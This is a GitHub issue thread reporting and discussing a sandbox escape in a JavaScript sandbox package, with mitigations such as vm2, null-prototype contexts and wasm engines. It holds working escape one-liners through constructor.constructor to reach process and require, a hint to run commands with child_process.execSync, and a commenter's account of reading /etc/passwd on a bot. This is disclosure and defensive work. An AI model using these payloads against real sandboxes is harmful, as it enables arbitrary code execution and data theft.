Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Sandbox can be broken. #50

Open
io4 opened this issue Aug 21, 2016 · 18 comments
Open

Sandbox can be broken. #50

io4 opened this issue Aug 21, 2016 · 18 comments

Comments

@io4
Copy link

io4 commented Aug 21, 2016

Using functions and constructors, its possible to escape the sandbox to get process, which can be used to get require that can be used for evil things like a reverse shell.

Code:
new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")
A, I hope, more readable (because of how hacky the thing is its difficult) version:

new Function("
  return (
    this.constructor.constructor('
      return (this.process.mainModule.constructor._load
     )'
    )())"
  )()
("util").inspect("hi")
Bonuspunkt added a commit to Bonuspunkt/sandbox that referenced this issue Oct 24, 2016
@sand1er
Copy link

sand1er commented Feb 7, 2017

Hi,
I am trying to understand the exploitation code, but without success. Could you please explain it?

P.S
You wrote that " its possible to escape the sandbox to get process, which can be used to get require that can be used for evil things like a reverse shell". In which part of your code the attacker will write the payload of the reverse shell?

Thank you for the help.

@io4
Copy link
Author

io4 commented Feb 18, 2017

@sand1er the code does the following:

  • Escape the context by using constructors, because the objects still have constructors you can use to go out, because the constructor of this is Object and the constructor of Object is Function, you can use that Function to make a function that runs in a new context that has the process variable

  • Use process variable to access require-like function (process.mainModule's constructor is module that has _load which can do things similar )

  • Imports a module and runs commands. The example just imports utils and inspects "hi"

Buy you could run commands by replacing ("util").inspect("hi") with ("child_process").execSync("id") for example (to run the command id)

You should think new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")() as require.

I found a very similar thing in another major sandbox (sandcastle) bcoe/sandcastle#70 hopefully all the people who download this modules don't use it for production or something. I basically ended up making my own sandbox... (which I don't want to advertise here)

Feel free to ask more questions if you don't understand something.

@pluma
Copy link

pluma commented Jul 14, 2017

I've just used this to escape a hubot's sandbox and list the contents of /etc/passwd and exfiltrate random memory via Buffer. This should definitely be fixed.

@io4
Copy link
Author

io4 commented Jul 15, 2017

Same issue seems to got found in MathJS by @CapacitorSet ( https://capacitorset.github.io/mathjs/ ) some time ago.

I am emailing gf3 (and npm) to try to claim the name so a fixed version can be released.

About possible solutions:

  • Drop external API support and nullify the context object to avoid inheritance
  • Use Proxy (requires higher node version)
  • Nullify context object, and implement all needed utilities in userland like my small sandbox script does

I am opening a issue in most of the packages that depend on this one.

@CapacitorSet
Copy link

CapacitorSet commented Jul 15, 2017

Thanks for the mention, @io4! (I'll also mention @denysvitali for helping find the vulnerability ;) )

I really suggest everyone not to roll your own solution, because it can be really difficult to sanitize JavaScript properly.

I do malware analysis on JavaScript files, and so far my solution of choice has been @patriksimek's vm2. Indeed, it uses ES6 Proxies to prevent escaping the sandbox (so it requires a recent JS engine) and the native vm module in Node.js to create an empty execution context.

Patrik, do you think vm2 could be reasonably ported to browsers? If needed, I can lend a hand in doing the port.

@CapacitorSet
Copy link

CapacitorSet commented Jul 15, 2017

Also, pinging @josdejong - seeing that you also had trouble sanitizing JS, I think you may be interested if we do come up with a good solution.

@io4
Copy link
Author

io4 commented Jul 15, 2017

I think a vm2 port for browsers would not be possible, as no new contexts can be made.
Depending on the goal of such sandbox, other methods (like iframes) could be used.

The sad part is that Proxy is one of the few ES6 components that can not have a pollyfill. So newer JS engines are needed.

For older Node versions I had to use I used the following (boiled down) code:

var vm = require("vm");
var context = vm.createContext(Object.create(null));
var corescript = "var a=1;"; // here I pollyfill some nodejs modules
var output = new vm.Script(corescript + script).runInContext(context, {
            timeout: 2000,
            filename: "/virtual.js"
});

@josdejong
Copy link

@CapacitorSet yes it's a nightmare to get arbitrary JS code evaluation secured. It looks like we managed to get the expression parser of mathjs secure after months of hard work. I think it was only possible because mathjs has it's own expression parser which has full compile time and runtime control to do security checks and restrictions.

I don't think it's possible to secure a JS sandbox as long as there is a regular JS engine running there. You really need to have runtime control on evaluating methods and accessing/assigning properties to prevent exploits getting access to constructor like [].map.constructor and all sort of variations such as [].map['con' + 'structor'].

@io4
Copy link
Author

io4 commented Jul 15, 2017

There is a workaround, but you cant have any (dynamic) external values.

var vm = require("vm");
var context = vm.createContext(Object.create(null));
var corescript = ""; // Here I pollyfill everything I can
var out = new vm.Script(corescript + script).runInContext(context, {
            timeout: 2000,
            filename: "/virtual.js"
});

And then all operations are done with .call to avoid objects with any of .toString .inspect .valueOf

@patriksimek
Copy link

@CapacitorSet Unfortunately, @io4 is right - without creating a whole new context, there seems to be no other way to prevent things like obj.constructor.constructor. I have been fiddling with the browser support over the last weekend and was partially successful. It seems that creating a new iframe is a nice polyfill for a Node's vm module. I was able to pass all the tests with latest Chrome (and almost all test with other browsers). The only thing I'm stuck on is that the top property on a window object is non-configurable and non-writable so since it can't be removed (and changed), it is a security hole allowing attacker to climb up from the sandboxed context.

I'm not sure if there are more places like this but since this is a major issue, I was not looking further. I appreciate any help with this since I'm out of ideas at the moment.

I have created a separate issue for future discussion about this feature - patriksimek/vm2#85

@CapacitorSet
Copy link

I found this while searching for other things: https://github.com/browserify/vm-browserify

It is too late in the night now, but tomorrow I'll try it and figure out whether it is a suitable alternative.

@Anorov
Copy link

Anorov commented Sep 22, 2017

@patriksimek @io4 Do you know if vm.runInNewContext("arbitrary user input here", Object.create(null)) is sufficient to prevent access to all Node libraries (including process etc.)?

@CapacitorSet
Copy link

No, it's not enough. Patrik gives an example on vm2's project page: this.constructor.constructor('return process')().exit().

@Anorov
Copy link

Anorov commented Sep 22, 2017 via email

@CapacitorSet
Copy link

Ohh, I see, it makes sense! Indeed, such a sandbox seems to be safe - I tested it against the most significant tests from vm2 and it seems to work just fine - with the exception of global being not defined (which can be easily fixed by prepending global=this; to the script). Otherwise, your sandbox passes all safety tests.

@io4
Copy link
Author

io4 commented Sep 23, 2017

Then you need to be VERY careful with the operations called in the output... you cant just out.toString() or util.inspect, you need to set right options to avoid running code (toString(), valueOf(), inspect(), toJSON())

@Anorov
Copy link

Anorov commented Sep 23, 2017

@io4 I'm calling Node from Python (just running the runInNewContext and nothing else), taking the string result, and converting it to an int from Python. I'm not doing any other Javascript (or even Python) processing on the result.

You can see it here: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

@gf3
Copy link
Owner

gf3 commented Jul 23, 2020

i've been playing with compiling a javascript engine to wasm, which seems to be a good way to execute javascript securely:

Screencast

and here's the code example from the initial issue:

Screenshot from 2020-07-23 17-40-01

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

8 participants